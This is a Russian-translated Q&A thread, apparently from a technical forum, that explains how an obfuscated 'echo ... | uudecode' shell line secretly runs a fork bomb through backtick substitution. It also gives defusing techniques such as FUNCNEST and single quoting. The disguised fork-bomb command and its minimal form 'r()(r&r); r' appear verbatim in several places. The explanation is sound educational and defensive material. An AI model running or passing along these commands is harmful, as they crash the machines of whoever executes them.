Как и почему эта строка текста является бомбой?

Найдено на случайной доске чан:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Каким-то образом выполнение этого приводит к бесконечно нерестящемуся процессу, который разгорается и останавливает машину. Я вижу кое-что о том, как "Су" пытались казнить много раз.

... что странно, потому что я просто ожидал, что будет выводиться текст, а не выполнение чего-либо.

Запуск этого текста через онлайн-декодер просто дает мне партию двоичного выброса:

Что на самом деле делает этот беспорядок текста, и есть ли способ "безопасно" его просмотреть?

3 ответа

Решение

Сначала давайте посмотрим на всю команду:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Он содержит строку в двойных кавычках, которая отображается uudecode, Но обратите внимание, что внутри строки в двойных кавычках есть строка в обратных кавычках. Эта строка исполняется. Строка:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Если мы посмотрим на то, что в нем, мы увидим три команды:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Выполняя раскладку по средней команде, мы имеем:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

Первая строка пытается выполнить бессмысленную команду в фоновом режиме. Это неважно.

Важна вторая строка: она определяет функцию r который при запуске запускает две копии самого себя. Каждая из этих копий, конечно, запустит еще две копии. И так далее.

Третья строка проходит rЗапуская вилочную бомбу.

Остальная часть кода, за пределами строки в кавычках, просто бессмысленна для запутывания.

Как выполнить команду безопасно

Этот код можно безопасно выполнить, если мы установим ограничение на уровень вложенности функций. Это можно сделать с помощью Bash's FUNCNEST переменная. Здесь мы установили его 2 и это останавливает рекурсию:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Приведенные выше сообщения об ошибках показывают, что (а) бессмысленные команды rYWdl а также Y29j не найдены, (б) FUNCNEST неоднократно останавливается, и (в) вывод echo не начинается с begin и, следовательно, не является действительным входом для uudecode,

Вилочная бомба в простейшем виде

Как бы выглядела вилочная бомба, если бы мы убрали затемнение? Как показывают njzk2 и gerrit, это будет выглядеть так:

echo "`r()(r&r);r`"

Мы можем упростить это еще дальше:

r()(r&r); r

Это состоит из двух утверждений: одно определяет функцию fork-bomb r а второй бежит r,

Весь другой код, включая канал uudecodeБыл там только для омрачения и неправильного направления.

Первоначальная форма имела еще один слой неверного направления

ОП предоставил ссылку на обсуждение на форуме, на котором появился этот код. Как представлено там, код выглядел так:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Обратите внимание на один из первых комментариев об этом коде:

Я влюбился в это. Скопировал только ту часть, которая перекликается и перекодирует, но все же получил бомбу

В форме на доске объявлений можно наивно думать, что проблема будет eval Оператор работает на выходе uudecode, Это заставило бы думать, что удаление eval решит проблему. Как мы видели выше, это ложно и опасно.

Чтобы ответить на вторую часть вашего вопроса:

... есть ли способ "безопасно" просмотреть его?

Чтобы разрядить эту строку, замените внешние двойные кавычки одинарными кавычками и избегайте одинарных кавычек, встречающихся внутри строки. Таким образом, оболочка не будет выполнять какой-либо код, и вы фактически передаете все прямо uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Другие альтернативы отмечены в комментариях:

касперд предложил:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Джейкоб Кралл предложил использовать текстовый редактор, вставить содержимое, а затем передать этот файл в uudecode.

На первый взгляд вы можете подумать, что вывод в оболочку никогда не будет выполнен. Это все еще правда. Проблема уже во входе. Основным трюком здесь является то, что программисты называют приоритетом операторов. Это порядок, в котором оболочка пытается обработать ваш ввод:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Составьте строку, выполнив все команды backticks внутри нее.
  2. Обычно это неизвестная команда, которая может привести к некоторому выводу, например, если 'rYWdl' не является опечаткой, вы можете использовать команду not-found для поиска пакета, в котором она содержится… (зависит от системы)
  3. Выполняет 2. в фоновом режиме. Вы никогда не увидите выход.
  4. Определите функцию вилочной бомбы.
  5. Разделитель команд.
  6. Запустите вилочную бомбу.
  7. Вставьте результат 6. в строку. (Мы никогда не приезжаем сюда.)

Ошибка в том, чтобы думать, что echo будет первой командой, которая будет выполнена, uudecode второй. Оба из них никогда не будут достигнуты.

Вывод: двойные кавычки всегда опасны на оболочке.

Другие вопросы по тегам